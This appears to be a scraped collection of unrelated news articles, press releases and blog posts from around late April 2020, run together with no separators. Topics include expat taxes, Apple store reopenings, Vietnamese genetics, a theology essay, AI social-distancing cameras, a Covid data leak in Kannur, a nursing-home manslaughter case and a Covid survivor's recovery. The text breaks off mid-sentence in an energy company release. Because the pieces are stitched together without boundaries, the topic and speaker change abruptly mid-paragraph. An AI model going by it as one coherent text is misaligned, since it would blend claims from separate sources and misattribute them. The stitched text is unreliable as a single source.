Have you made the brave choice of moving outside of your home country? Maybe you wanted some adventure, a good story, or an experience of a lifetime! Whatever your reason is for moving to Latin America, if you're working in another country, you want to make sure you're not creating legal trouble in your home country regarding taxes. Some jobs in Latin America that are really needed are English teachers, doctors, and nurses. We're going to go over some things you should know about taxes as an Expat in Latin America. There's an Extension It depends on the country you're from, but in the United States, you get an extension for filing taxes if you have income from another country. Usually, you must file before April 15th. However, you'll get an extension until June 15th to file your taxes. Be careful, though, because if you have any income from the United States, like online with a company based out of the USA, you have to file by April 15th. It doesn't matter if you're physically in the country or not. It matters where your income is coming from, an American company, or a foreign one. Check out a website with tax information from your place of birth to see the rules and regulations. Don't Pay Twice Just because you have to file taxes in the United States, doesn't mean you owe US income tax, if you make an income outside of the country. There are many deductibles and credits you can apply for. There is the Foreign Tax Credit, which you can apply for if you already pay taxes on your income in the country you're living in. Who wants to pay taxes twice on the money you earn? Doing this can save you a lot of money and help you stay legal as well. Think About Including Children You might know that you can receive the Child Tax Credit if you're American and have children. Even if your child is born outside of the States, because you're a citizen, they are able to be a US citizen also. If you do that, then it's possible to get the tax credit for them. Your child must have a US Social Security number for this. However, you need to consider what their life in the future will look like. By accepting the Child Tax Credit, your child will have a US tax obligation for the rest of their lives, unless they choose to renounce their citizenship. This is something to think about and talk to your partner about for your child. The Bottom Line If you've made a choice to move outside of your home country to be an Expat in Latin America to experience the vivid culture and the delicious food but also are working, there are some things about taxes you should know. You have an extension to when you have to file your taxes, and you don't owe extra taxes to your home country if you're already paying in another country. Claiming your child as a dependent is a life long tax commitment for them. Once you've figured out all of the tax information you need, you can live your life in Latin America without worrying you'll have legal troubles at home. Apple is reportedly considering reopening a number of stores previously closed in response to the COVID-19 pandemic. The announcement was made in a weekly video address meant only for Apple employees, given by Deirdre O'Brien, the company's vice president of retail and people. O'Brien said the company is 'continuing to analyze this health situation in every location', adding: 'I do expect we will reopen up many more stores in May.' In an internal video briefing, Apple said it expects to reopen 'many more stores in May,' though no locations or exact dates were specified O'Brien didn't identify any particular locations in the US that would see stores open first, according to a report in Bloomberg. Apple initially closed all 272 of its US stores in March, as the COVID-19 pandemic quickly transformed into a global emergency. 'In our workplaces and communities, we must do all we can to prevent the spread of COVID-19,' Apple CEO Tim Cook said in a statement explaining the initial closures. The company initially said its stores would be closed for two weeks, but later extended the shutdowns indefinitely pending local conditions. In total, Apple has stores in 24 countries, including China, Japan, Thailand, Brazil, France, and Mexico. Apple initially made the decision to close all 272 of its US retail locations in mid-March. The shutdown was initially planned to last two weeks, but has since been extended multiple times In April, Apple re-opened one of its locations in Seoul, South Korea, along with temperature screening checkpoints for customers trying to enter. According to Bloomberg, the store has mainly been operating as a hub for repairs and customer service and hasn't emphasized general sales of new devices. O'Brien didn't specify whether similar policies would be used for locations in the US that might reopen. The company still has not revealed any plans to bring back corporate employees, including those at its California HQ (pictured), who are still working from home This week, Georgia became the first US state to reopen some parts of its economy after COVID-19 shutdowns, with restaurants, gyms, and some retail shops resuming limited service. Texas has said it will also allow some of its commercial businesses to reopen this week as well, as long as they limit occupancy to 25 percent of normal. Even if the company begins reopening more of its retail locations, it's likely Apple's corporate employees will continue to work from home for the foreseeable future. The company hasn't given any indication as to when workers might return to its main headquarters in Cupertino, CA, but Tim Cook has said when the offices reopen all employees will be subject to regular temperature checks. Vietnam Airlines will operate two commercial flights from Hanoi to the U.S. in May, exclusively for U.S. nationals. One would leave at 9:45 a.m. on May 2 and arrive in San Francisco at 10:00 a.m. local time, and the other will depart at 6:20 a.m. on May 10 and land in Washington, D.C., at 1:00 p.m. local time, the U.S. embassy announced. The fare would depend on the number of passengers and could be higher than a normal one-way ticket, it said, calling for citizens who need departure assistance to register with the embassy by Tuesday afternoon. Vietnam has suspended all international flights as a containment measure against Covid-19 and thousands of foreigners are stuck in the country. Some special flights have been operated in recent weeks to repatriate Europeans and citizens of several Southeast Asian countries. The U.S. Federal Aviation Administration issued a Category 1 rating to the Civil Aviation Authority of Vietnam under its International Aviation Safety Assessment program in 2019, meaning it met safety standards to operate flights to the U.S. Vietnam Airlines got the green light to operate direct flights from Hanoi and Ho Chi Minh City to several American destinations in September last year. No such a flight under the permit has been scheduled. At the outbreak of the Civil War, my home state of Kentucky was torn. Sitting on the southern banks of the Ohio River, not quite southern but not quite northern, we tried to remain neutral. That, of course, was an untenable position, morally and practically. As Abraham Lincoln is rumored to have said, I hope to have God on my side, but I must have Kentucky. Meanwhile, the Confederates invaded. Most Kentuckians backed the Union, but a sizeable minority set up a Confederate government in Bowling Green. And thus Kentucky became a house divided. Yet Kentucky learned a valuable lesson from the War Between the States, one we emblazoned on our state flag and made our state motto: United we stand, divided we fall. I had these words in my mind last night as Preet Bharara, the US Attorney who famously and commendably refused Trumps order to resign (and so was sacked), tweeted that he is sick and tired of subsidizing Kentucky. When I pointed out that without federal subsidies people in my home state would suffer, Bharara doubled down, insisting that unless Senate Majority Leader Mitch McConnell is defeated there needs to be a severe calibration against our commonwealth. Bharara, and many of his followers who chimed in, are rightfully enraged at Mitch McConnells refusal to help states like New York as they take on the brunt of the Covid-19 pandemic. Rather than send federal aid, the Senate Majority Leader suggested states declare bankruptcy. This shows a callous and grotesque disregard for the suffering of our fellow Americans, and the righteous anger is understandable. New York is dying, and the federal government led by Donald Trump, a New Yorker, and Mitch McConnell, a Kentuckian has abdicated its responsibility. The problem is the Republican Party, though, not poor Kentuckians who rely on federal assistance to get by. While at this moment I can empathize with angry New Yorkers pointing out that Kentucky takes far more from the federal government than blue states and certainly more than it puts into the federal coffers Kentuckians arent their enemy; Mitch McConnell is. Unlike McConnell, I am not indifferent to their suffering. My heart breaks for New York City. We cant allow these divisions to come between us, though. Leaving aside the fact that only seven states have completely Democratic congressional delegations (and New York isnt one of them), dividing the states against one another is precisely what McConnell and Trump want to do. Its how Republicans stay in power, stoking cultural divisions between the coastal elites and real Americans in the middle of the country. The left generally and the Democratic Party specifically must be better than this. We must stand for solidarity among the working class and the poor. Here in the hollows of Appalachia, the coal industry the lifeblood of our economy has been in decline for 40 years and the opioid crisis has raged since the 1990s. The poor in Kentucky struggle just as the poor in New York do. Yet there is a general sense that the only time the rest of the country pays us any mind is through poverty porn, sneering at us as a bunch of gun-toting, pill-popping, snake-handling bigots. Yet, Kentucky has a rich heritage of progressive activism, from the Harlan County War in the 1930s (in which coal miners fought for the right to organize) to the environmental actions around the Martin County coal slurry of 2000 and protests against mountaintop removal. Kentucky has a popular Democratic governor, and Mitch McConnell is up for re-election in what looks like might be a tight race. Ditching Mitch would help us all. On that, at least, Bharara and I agree. But for a people who are skeptical of outsiders after generations of being exploited by capital and then left to starve when the mines closed, a wealthy New York lawyer wanting to calibrate against them is exactly what they fear, because its what has happened for over a century. It is, crucially, also what is happening in New York now. The system is failing New York City a political and economic system designed to enrich and ensconce the wealthy and powerful at the expense of the rest of us. Working class Kentuckians and working class New Yorkers will have to join with the working class across the country in order to ensure that we are not even more devastated by this pandemic than we presently are. Lashing out at voters, rather than helping to defeat the entrenched interests of capital, is to fight the wrong enemy, for we are in this together. At this crucial moment in our nations history, united is the only way we will stand. Divided, we dont just fall we die. Vietnam features extensive ethnolinguistic diversity and occupies a key position in Mainland Southeast Asia (MSEA). Vietnam, with its borders to China, Laos and Cambodia, has a rich geographical diversity, and ample access to human migration with the Red River and Mekong deltas, and a long coastline. The early settlement of anatomically modern humans in MSEA dates back to at least 65 thousand years ago (kya) and is associated with the formation of a hunter-gatherer tradition called Hoabinhian. Since the Neolithic period, which dates to about ~4,000-5,000 years ago, cultural transitions and diversification have happened multiple times eventually leading to the extraordinary cultural diversity in present day MSEA. According to the General Statistics Office of Vietnam, Vietnam has a population size of more than 96 million people comprising 54 official ethnic groups; 110 languages are spoken in the country. To date, there are hundreds of ethnolinguistic groups in MSEA, speaking languages belonging to five major language families: Austro-Asiatic (AA), Austronesian (AN), Hmong-Mien (HM), Tai-Kadai (TK), and Sino-Tibetan (ST). Yet, the genetic diversity of Vietnam has remained relatively unexplored, especially with genome-wide data, because previous studies have focused mainly on the majority Kinh group. Now, in a new paper published in the advanced online access edition of Molecular Biology and Evolution, Dang Liu, Mark Stoneking and colleagues have analyzed newly-generated genome-wide SNP data for the Kinh and 21 additional ethnic groups in Vietnam, encompassing all five major language families in MSEA, along with previously-published data from nearby populations and ancient samples. "We find that the Vietnamese ethnolinguistic groups harbor multiple sources of genetic diversity that are associated with heterogeneous ancestry sharing profiles in each language family," said corresponding author Nong Van Hai. First author Dang Liu added, "However, the linguistic diversity does not completely match genetic diversity; there have been extensive interactions between the Hmong-Mien and Tai-Kadai groups, and a likely case of cultural diffusion in which some Austro-Asiatic groups shifted to speaking Austronesian languages. On a global scale, the strongest signal separates most Indian groups from the East Asian groups. They also found evidence that the majority group Kinh, which have been the focus of previous studies, may not reflect the total Vietnamese diversity. Within modern Vietnamese groups, individuals from the same language family are mostly placed together. Within these language families, the ST, HM, and TK groups are mostly separated from AA and AN groups. Vietnam ethnolinguistic groups overall tend to show the closest relationships with Taiwanese and southern Chinese groups. "Overall, our results highlight the importance of genome-wide data from dense sampling of ethnolinguistic groups in providing new insights into the genetic diversity and history of an ethnolinguistically-diverse region, such as Vietnam," said corresponding author Mark Stoneking. "In contrast to previous studies suggesting a largely indigenous origin of the Vietnamese, we find evidence for extensive contact, over different time periods, between Vietnamese and other groups. The study is the most wide-spread analysis to date, carrying out the most updated and informative approaches available from using modern genomic data, to better understand the rich genetic population diversity of Vietnam. ### TORONTO and KNOXVILLE, Tenn., April 27, 2020 (GLOBE NEWSWIRE) -- Solar Alliance Energy Inc. (Solar Alliance) or (the Company) (TSX-V: SOLR) announces it has amended the Debt Settlement Agreement previously announced on April 17, 2020 with certain senior management to fully settle an aggregate of up to $54,999 of unpaid fees for shares in the Company. Pursuant to the amended Debt Settlement Agreement (the Amended Debt Settlement Agreement), and as allowed by the temporary relief bulletin issued by the Toronto Stock Exchange on April 8, 2020, the Company will enter into a settlement agreement with Clark Public Affairs, Ltd. to fully settle an aggregate of $54,999 of unpaid consulting fees recorded in the books of the Company for the three months ended March 31, 2020 by the issue of an aggregate of 2,199,960 common shares at $0.025 per share. The Amended Debt Settlement Agreement is subject to the approval of the TSX Venture Exchange. All securities issued will be subject to a four month hold period which will expire on the date that is four months and one day from the date of issue. For more information: Solar Alliance Myke Clark, CEO 416-848-7744 mclark@solaralliance.com About Solar Alliance Energy Inc. ( www.solaralliance.com ) Solar Alliance is an energy solutions provider focused on residential, commercial and industrial solar installations. The Company operates in California, Tennessee, North/South Carolina and Kentucky and has an expanding pipeline of solar projects. Since it was founded in 2003, the Company has developed wind and solar projects with a combined capital cost exceeding $1 billion that provide enough electricity to power 150,000 homes. Our passion is improving life through ingenuity, simplicity and freedom of choice. Solar Alliance reduces or eliminates customers' vulnerability to rising energy costs, offers an environmentally-friendly source of electricity generation, and provides affordable, turnkey clean energy solutions. Statements in this news release, other than purely historical information, including statements relating to the Company's future plans and objectives or expected results, constitute Forward-looking statements. The words would, will, expected and estimated or other similar words and phrases are intended to identify forward-looking information. Forward-looking information is subject to known and unknown risks, uncertainties and other factors that may cause the Companys actual results, level of activity, performance or achievements to be materially different than those expressed or implied by such forward-looking information. Such factors include but are not limited to: uncertainties related to the ability to raise sufficient capital, changes in economic conditions or financial markets, litigation, legislative or other judicial, regulatory and political competitive developments and technological or operational difficulties. Consequently, actual results may vary materially from those described in the forward-looking statements. Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release." It is claimed by some that the center of the gospel is justification by faith or that central to the gospel is justification by faith. How does one make a compelling case for what is central? The centrality for justification by faith for the content of the gospel is something Ive heard many times. This post will probe whether we might improve our conversations about what is central to something. One could never, for instance, say that justification by faith is central to Moses or to Isaiah or to the Jesus of the Gospels. In the Gospels there are two very common expressions: in the Synoptics it is kingdom and in John it is life. One could never say justification is central to Johns letters or to Hebrews or to James or to Peter. A couple illustrations of how I have heard similar claims to centrality in theological discussions. When I was a seminary and PhD student in the USA Jack Dean Kingsbury was busy making his case that the central title for Jesus in the Gospel of Matthew was Son of God, which was more important of a title than Messiah or Son of Man or Lord. Because Kingsbury was the leader of the Seminar on the Gospel of Matthew, his view got lots of attention in SBL Meetings. I remember beginning my PhD studies on Matthew and having conversations with various Gospel scholars in England and one of the most common responses there was Is there such a thing as a most important or central title? They were not only right but it was impossible to prove which title was most important. It was also clear that they thought this was an American conversation and not a European one. Not that long ago an old friend of mine in NT studues, Tom Schreiner, made a case that penal substitution was the central metaphor/idea/category for atonement in the NT, and that all other metaphors should be explained by penal substitution. Schreiner was responding in part to my book, A Community called Atonement, in which I had argued that we need all the metaphors and that no one of them was central. I remember reading him and thinking, How does one prove such a thing? And, truth be told, I found his argument lacking though he worked hard to establish his case. We dont need a central metaphor. What we need is the right atonement theory at the right time for the right person. Now when it comes to gospel theres a big (and only one big) reason why justification by faith is claimed to be central: His name is Luther or the movement is called Reformation. What Luther and the Reformation got right was that our justification is not based on anything we can do and that it is rooted entirely in what God has done for us and all we do is trust God. Hence, justification by faith. Central to the Reformation, then, one could say was justification by faith. Theres a lot that goes down here, but if the Reformation was the rediscovery of the gospel and for Luther the Reformation was his rediscovery of justification by faith, and if justfication by faith was what Luther discovered in his own relation with God and his work on Psalms, Romans, and Galatians, then justification gets close to centrality. Fine and good. Luther is Luther, a man for his time; the Reformation is the Reformation, and it was a movement for its day and time. Both matter today, please understand. But thats not exegesis of gospel in the New Testament. So we ask, What is central to the gospel in the NT? We can begin with this, and no one will disagree: God is at the center and, since God the Father sent God the Son, then at the center is Jesus and his life and death and burial and resurrection and ascension and return. No one disputes that. But theres something quite often distorting when making a claim about something as central and its this: most of the time what one claims as central is then used to explain everything in light of what is claimed. Hence, the claim to centrality becomes ones explanation in light of ones assumption. To explain is not to establish. The major pushback against NT Wrights end of exile for Jesus was that he gave that expression full explanatory power and the power of rhetoric repetition became convincing (for some and not others). Douglas Campbells pressing hard on the distinctions between covenant and contract has the same kind of explanatory power (and weakness). if you use dispensational as a hermeneutic grid long enough you begin to see it everywhere. If you read Barth, Barth, Barth before long you see Barthian themes everywhere. Enough is enough. Using the term central then tends too often to be an explanation of everything in light of ones claim of centrality and then concluding that ones explanation is what is central. At times it actually works; often it does not. Matthew Bates, for instance, doesnt talk about what is central to the gospel, and speaks of Jesus enthronement as the climax to the gospel. So, I would argue that instead of using an explanation (justification by faith) as what is central to gospel that we instead look to what is common to the most explicit statements. This permits us to hear what Scripture is saying and it permits us to let Scripture do the determining (if not in more ways the explaining too). So, I would argue that instead of using an explanation (justification by faith) as what is central to gospel that we instead look to what is common to the most explicit gospel statements. This permits us to hear what Scripture is saying and it permits us to let Scripture do the determining (if not in more ways the explaining too). Which is what I have done in The King Jesus Gospel. Which is what Matthew Bates does in Gospel Allegiance. My contention that we should go to Four Distinct Texts. Why? Because each explicitly makes the claim of telling us the gospel (in distinct ways). These are the four texts I bring up all the time (Bates very helpfully brings in Romans 1:3-5): 2 Timothy 2:8 1 Corinthians 15:1-28 The gospel sermons in the Book of Acts, and I have often focused on Acts 10:34-48 The Gospels themselves as the gospel itself (as John Dickson recently announced again) Because I did not include this in my last post on this topic, here is Peters sermon in Acts 10, which is a gospel sermon to a gentile who believes and repents and gets baptized. Please read it again. Then Peter began to speak to them: I truly understand that God shows no partiality, but in every nation anyone who fears him and does what is right is acceptable to him. You know the message he sent to the people of Israel, preaching peace by Jesus Christhe is Lord of all. That message spread throughout Judea, beginning in Galilee after the baptism that John announced: how God anointed Jesus of Nazareth with the Holy Spirit and with power; how he went about doing good and healing all who were oppressed by the devil, for God was with him. We are witnesses to all that he did both in Judea and in Jerusalem. They put him to death by hanging him on a tree; but God raised him on the third day and allowed him to appear, not to all the people but to us who were chosen by God as witnesses, and who ate and drank with him after he rose from the dead. He commanded us to preach to the people and to testify that he is the one ordained by God as judge of the living and the dead. All the prophets testify about him that everyone who believes in him receives forgiveness of sins through his name. While Peter was still speaking, the Holy Spirit fell upon all who heard the word. The circumcised believers who had come with Peter were astounded that the gift of the Holy Spirit had been poured out even on the Gentiles, for they heard them speaking in tongues and extolling God. Then Peter said, Can anyone withhold the water for baptizing these people who have received the Holy Spirit just as we have? So he ordered them to be baptized in the name of Jesus Christ. Then they invited him to stay for several days. You tell me What did Peter preach? Better yet, About Whom did he preach? Jesus. His gospel sermon to this gentile who knew some Scripture told him the story about Jesus what he did and what was done to him and what God did to undo what was done to him. Those who trust that Jesus have their sins forgiven. First Jesus, then salvation. Speaking of salvation, read the following from my King Jesus Gospel, and then ask how anyone could be possibly confused by what I say about the gospel of Jesus the Savior: However we tell the Story of Jesus, that story must deal with sins, and it must deal with those sins as something for which Jesus died. We can tell this story in a number of ways and Im thinking right now of Brenda Colijns richly textured new book that explores images of salvation in the Bible but the story must aim at showing that the gospel saves. My own preferred way to describe the comprehensiveness of the saving death of Jesus is to see that three things happened in that death: Jesus died (1) with us (identification), (2) instead of us (representation and substitution), and (3) for us (incorporation into the life of God). That is, he first of all entered fully into the human condition and not just our sinfulness but the fullness of our condition. Second, he died our death as our representative and as a substitutionary death. That is, he stood in our place and shouldered the punishment due us for our sins, and that punishment according to the uniform witness of the Bible is double death, both a physical death and a spiritual/eternal death. Third, his death did something for our good: his death procured forgiveness of sins, reconciliation with God, justification before Gods tribunal and Ill sidestep for now the comprehensiveness of this term, ransoming us from our slaveries and liberating us from all that entraps us. Ultimately, Jesus death (and resurrection) leads us into the very presence and life of God. I believe this and more are at work when Paul says for our sins. [HT: a reader sent this to me to remind me of what I had written!] Tell them about Jesus and the story of Israel comes through with all the prophets and people will be drawn by the Spirit to him and in him such believers will find redemption. Thats gospel preaching. What is common to all these gospel texts and these gospel sermons in Acts is that they are all focused on Jesus: who he was/is, what he did, what he has accomplished, and what he will accomplish. What is common then, I would suggest, just might be what we want to call central: at the center of the gospel texts in the NT is God as revealed to be for us in Christ. Pepper Construction is using Startup SmartVid.io to analyze worksite images for Oracle Industries Innovation Lab in Deerfield, Illinois. Existing security cameras at retail stores and workplaces are being equipped with articifial intelligence to enforce measures intendded to slow the spread of the novel coronavirus, Reuters reports, based on interviews with 16 different machine vision software firms and a number of businesses that are now their clients. "Reuters spoke with 16 video analytics companies, many of them startups with a few million dollars in annual revenue, that have added offerings because of the coronavirus." From Reuters: "The last thing we want is for the governor to shut all our projects down because no one is behaving," said Jen Suerth, vice president at Chicago-based Pepper Construction, which introduced software from SmartVid.io this month to detect workers grouping at an Oracle Corp project in Deerfield, Illinois. Samarth Diamond plans to deploy AI from Glimpse Analytics as soon as its polishing factory re-opens in Gujarat, India, while two Michigan shopping centers owned by RPT Realty will have distancing tracking from RE Insight in two weeks. Buyers expect the technology will work because they already have used similar tools to profile shoppers entering stores and find helmet scofflaws on construction sites. But some technology consultants that advise retailers and office landlords have cautioned clients against introducing new technology at a chaotic time and investing in tools that may be needed only for a period of months. Privacy activists concerned about increasingly detailed tracking of people also are urging businesses to limit use of the AI to the pandemic. "The question becomes whether the tech remains after the public health problem goes away, and that is the real privacy fear," said Al Gidari, a privacy expert at Stanford Law School. "Video in the store today to ensure social distancing remains to identify shoplifters tomorrow." Read the full report here at Reuters: Companies bet on AI cameras to track social distancing, limit liability [April 27, 2020, reporting by Paresh Dave] "Stores and workplaces (..) are equipping existing security cameras with AI software that can track compliance with health guidelines including social distancing and mask-wearing. Several companies told Reuters the software will be crucial to staying open" https://t.co/Mwycm09WC0 Fabio Chiusi (@fabiochiusi) April 27, 2020 Behavioral changes coming to your grocery storehttps://t.co/30V33U7qbH Joe McCann (@joemccann) April 27, 2020 "The question becomes whether the tech remains after the public health problem goes away, and that is the real privacy fear. Video in the store today to ensure social distancing remains to identify shoplifters tomorrow." https://t.co/ex3o2kCrrp blmohr (@blmohr) April 27, 2020 "The idea being that with enough monitoring and intervention with social distancing violaters, this kind of system might help businesses avoid coronavirus-related lawsuits that might arise, it's also a move with questionable ethics and efficacy." https://t.co/a7oRUUf5n2 All I don't wanna do is zoom-a-zoom-zoom-zoom (@hypervisible) April 28, 2020 "Cover your A*S" instead of "keep people alive" Companies bet on AI cameras to track social distancing, limit liability Reuters https://t.co/CYPN3zNwVJ Lucy Bernholz (@p2173) April 27, 2020 "Stores & workplaces . . .are equipping existing security cameras with artificial intelligence software that can track compliance with health guidelines including social distancing and mask-wearing" despite the discriminatory design inherent to most AI. This does not bode well. https://t.co/JX7zWsy0yw COVIDBlack (@black_covid) April 27, 2020 Scanners already have been installed in grocery stores in Atlanta, which tells customers that anyone registering over 100.4 degrees on a thermal camera "will be discreetly informed" by a staff member and given "an alternative for [their] shopping.https://t.co/VVt4E0YDPe Susie Olson-Corgan (@SusieFrmSeattle) April 28, 2020 "Compliance"can be a slippery slope. "equipping existing security cameras with artificial intelligence software that can track compliance"https://t.co/mdcZMh7dJZ Annie Jacobsen (@AnnieJacobsen) April 27, 2020 [via techmeme] By Express News Service KANNUR: Following news that the details of Covid-19 patients were compromised in Kasaragod, another data breach has been reported in Kannur. The fact that the leak happened from the Google Maps link provided by the police made things a bit embarrassing for the force and the district administration. As the news broke on Monday that the details are being compromised, Kannur police deleted the link. The Google Maps link was prepared by the Kannur cyber cell to help the police monitor the movements of COVID patients and people under home isolation. The link had the details of the persons, including their phone numbers. Though health and district administration workers are in the field to track the movements of the patients and home-quarantined people, a special police team has also been asked to monitor everyone linked with COVID. It is to help this team comprising an SHO, a senior CPO and a CPO that the link was created. There was no need to enter a password to access the link which made it possible for anyone to open it and access the details. The district administration confirmed that there had been a fault on the part of the police as they had failed to secure the data of patients. Collector T V Subhash would submit a report in this regard to the state government. The cyber cell officials say that they have started an investigation. A top officer in Thiruvananthapuram said the link was not developed by the police department but possibly by district-level officers. The breach will be investigated at the district level, he said. Kannur has the most number of active Covid-19 patients in the state at 58 as of Monday. So far, 112 persons have tested positive in the district and of them, 54 have been discharged. Kasaragod DMO seeks probe into data breach KASARGOD: A day after TNIE reported a possible leak or theft of data of Covid-19 survivors, Kasaragod District Medical Officer Dr A V Ramdas said he has filed a complaint with the district police chief to look into the allegations. We have to know who are calling the patients, he said. Patients names, addresses and phone numbers were with different agencies and officials, and a breach could happen at any level, he said. He said this information was uploaded on the Kerala governments COVID tracking application at the panchayat level. Also, the patients have installed the Central governments Aarogya Setu app which also seeks information about the patients. So a data breach could happen at any level. The police should find it, he said. A healthcare firm has denied corporate manslaughter over the death of a 93-year-old woman who was severely burnt in a bath. Frances Norris died in hospital in February 2015 following the incident at Birdsgrove Nursing Home in Bracknell, Berkshire. The home's director, Sheth Jeebun, 58, of Weybridge, Surrey, also denied arranging for false water temperature records to be created before police investigated. During a Skype hearing at the Old Bailey today, a lawyer for Surrey-based Aster Healthcare, which ran the home, entered a not guilty plea to the charge of corporate manslaughter. Frances Norris died in hospital in February 2015 after being severely burnt in a bath at Birdsgrove Nursing Home in Bracknell, Berkshire (pictured) The charge states that on February 8, 2015, the company caused Ms Norris's death by a gross breach of its duty of care by failing to adequately address failings in the hot water system. The company also pleaded not guilty to a charge of failure to discharge a duty under the Health and Safety at Work Act. It allegedly failed to ensure that persons not in its employment, including Ms Norris, were not exposed to risks to their health and safety, namely risks of injury from hot water. Jeebun also denied failure to discharge a duty. He pleaded not guilty to doing acts tending and intended to pervert the course of justice after Ms Norris's death. It was alleged that he arranged, or sought to arrange, for thermostatic mixer valves (TMVs) to be fitted or adapted before regulators could complete checks on the hot water outlets. He arranged for false water temperature records to be created and provided to police and other regulators, it was claimed. The charge said he also arranged for a false record to be created of the servicing of TMVs at the home and for a false contract of servicing of TMVs to be provided to the Care Quality Commission and others. A not-guilty plea also was indicated on behalf of carer Noel Maida, 48, of Hayes, west London, to a charge of failing to discharge a duty. Mr Justice Edis said a provisional trial date in October was no longer realistic, given the backlog of cases due to the suspension of trials in the coronavirus lockdown. He said: 'It appears that the suspension of Crown Court trials is going to be continued for some time, with a gradual restart building up to full capacity over months. This case, because everybody is on bail, is unlikely to be top of that queue.' The senior judge set a six-week trial date for January 18, 2021, with a review hearing on December 21. Last month manager Elisabeth West, 45, director Sheth Jeebun, 58, and carer Noel Maida, 48, appeared at Westminster Magistrates' Court charged with contravening a health and safety regulation. Eran Cutliffe, prosecuting, said: 'The corporate manslaughter charge can only be dealt with at the crown court. The remaining matters are intrinsically linked so they should all be tried together.' Maia Cohen-Lask, defending, said: 'We simply haven't had enough time to get through the charges. It's a complicated, serious case. 'In respect of Ms West it is a single health and safety issue.' Jolanda Barnes now knows not to take the air in her lungs for granted. She spent five days in a west Georgia hospital after contracting COVID-19 and then several more days at her house in Valley, Ala., relying on an oxygen tank. Since then, her recovery has been about the little things: The first time she was able to take a shower without oxygen; the first trip down the driveway to take out the trash; care packages from family and friends left on her front porch. You dont realize how many things in life you take for granted, she said in a Facebook video she posted to celebrate after finally being able to bathe without being connected to an oxygen machine. I showered today. I got in the shower and showered from head to toe. Im grateful to be able to do that without being short-winded. God is good." As a resident of Chambers County, Barnes is hardly alone in facing the outbreak. Her small county was hit both earlier and harder than any other in Alabama. The small county near Georgia has seen 18 deaths, fourth most in the state, and more cases per capita than anywhere else in Alabama. But those numbers appear to have leveled off in Chambers County, and Barnes is one of many to recover. Its the little things that we take for granted in life that when you dont have that capability to do those things then you realize how important they are and how meaningful they are in life and how much we should be thankful for. A few days later, when her respiratory therapist prescribed her singing exercises to help restore her lungs, the bubbly 38-year-old accountant couldnt help but smile. Singing is one of my passions, one of my loves, she said in a phone interview with AL.com. I sometimes will find myself just singing, randomly singing songs and I know that its strengthening my lungs, and, but its also therapeutic for me, the music itself. Beyond just the physical therapy and the respiratory therapy, you know, it's helping me to deal with everything that's going on mentally and emotionally as well. When she got sick Barnes isnt sure exactly how she got it. Thats the million-dollar question, she said. She lives in Valley, but works across the state line at Intrado in West Point, Ga. She said she had started working from home about a week before she started having symptoms. As cases and hospitalizations first rose in Chambers, and neighboring Lee County, medical professionals traced the outbreak to church services held before Alabama announced its shutdown and before social distancing became a fact of life. She attends Rehoboth Baptist Church in Valley, which has seen some parishioners and one assistant minister contract the disease, but not as many cases as some other churches in the area. Barnes said her illness started with what she thought was a sinus infection but got worse from there. She first had a telemedicine appointment on March 25, where she complained of eye pain, ear pain and a fever. The doctor prescribed her antibiotics in case she really did have a sinus infection. That same night, after walking out to roll her car windows up, she felt short of breath and began to suspect that she had more than just a typical sinus infection. I walked up the steps and walked in the house and sat down on the couch and I had trouble catching my breath, and started panicking, she said. She said she had been trying to avoid going to a hospital or urgent care because the virus had already spread through the area and there were several cases at East Alabama Medical Center, but she called the paramedics. At that point, her oxygen levels were still in the normal range and the EMT said she could go to the emergency room if she wanted, but she would risk contracting the virus if she did not already have it. She opted to stay home and call EAMCs COVID-19 hotline. Because of the limited amount of testing they pretty much told me if I wasn't a medical professional, first responder, had underlying issues or over the age of 65, I didn't necessarily qualify for a test at that point in time, Barnes said. So just continue to treat my symptoms and if they got progressively worse, then to give them a call back and they would help to get me transfer to the emergency room so that I can get some additional care. Her fever and head pains continued for the next few days. She said she noticed one morning that she couldnt taste her toothpaste. Barnes said she also lost her appetite and was not eating or drinking very much. That Sunday, March 29, her brother called the ambulance again. EMTs said her blood oxygen levels were low, 88 percent, and her heart rate very high. She asked to be taken to West Georgia Medical Center in LaGrange. She tested positive for COVID-19. She stayed for five days, and was discharged on April 2. She said her time at the hospital made her much more appreciative of doctors and nurses working the front lines of the pandemic. One of Barnes nurses told her she had cried six times in one day from the stress and exhaustion. It actually opened my eyes to see what they were dealing with on a daily basis, she said. Easter brings sunrise service and tornado watch On Easter Sunday morning, Barnes felt well enough to share some of her songs with the world, but her sunrise service would be online. She recorded a Facebook video for the friends and family who wished her well during her illness. If you are 35 years old or older and grew up Baptist, then I know that you are aware of, you have to know about a sunrise service, Barnes said in the video. A sunrise service is when on Easter Sunday you went to church at like 6 in the morning, and had worship service until the sun came up, until the Son rose, and then we went into the fellowship hall and ate breakfast together and have fellowship together." So what I had an idea to do was to do a sunrise praise and worship service just so that you all can hear some of the praise and worship songs that I have listened to during my recovery period and even hear some of my respiratory therapy. She left in the bloopers as she calls them, forgotten lyrics and notes she wasnt quite able to hit. The point is not perfection. The point is progress. She even changed the words of one of her favorite praise songs, thanking God for the air in her lungs. Shes happy to share her progress with anyone who wants to listen. Not so much that people are able to hear me, but people are able to hear God through me, through my voice and through the breath that he gives me, she said. Later that Easter night, she had to take shelter in her mothers house during a tornado watch. She was largely recovered but hadnt finished her 14-day quarantine after getting out of the hospital. She said her mother and nephews had cordoned off part of their underground storm shelter for her to try to maintain a safe distance from the rest of the family. She drove to the house and sat in her car for hours as the weather intensified. The house lost power and eventually, around 1 a.m. as the wind picked up, she left the car and went into the shelter. Her mother had sewn her a mask that she put on over the medical-grade one the hospital gave her. We stayed in there for maybe an hour or two, she said. I kind of sat over in the far back corner of the storm shelter and just wrapped myself up in a blanket and took a nap until about 3 a.m. and then I came back home. Even talking about hunkering in a storm shelter at 1 a.m. during a quarantine, Barnes is still cheerful, still grateful and unwaveringly optimistic. Even considering [the storm], you know, Im thankful that I was not on that oxygen anymore because that would have been, you know, an added task to bring along an oxygen tank or even get home and Im not able to plug up their oxygen machine, she said. HOUSTON, April 28, 2020 (GLOBE NEWSWIRE) -- Amplify Energy Corp. (Amplify or the Company) (AMPY) announced today that it will report first quarter 2020 financial and operating results on May 6, 2020. Following the announcement, management will host a conference call at 10:00 a.m. CT to discuss the Companys results. Interested parties are invited to participate in the conference call by dialing (833) 883-4379 (Conference ID: 7947106) at least 15 minutes prior to the start of the call or via the internet at www.amplifyenergy.com. A replay of the call will be available on Amplifys website or by phone at (855) 859-2056 (Conference ID: 7947106) for a fourteen-day period following the call. About Amplify Energy Amplify Energy Corp. is an independent oil and 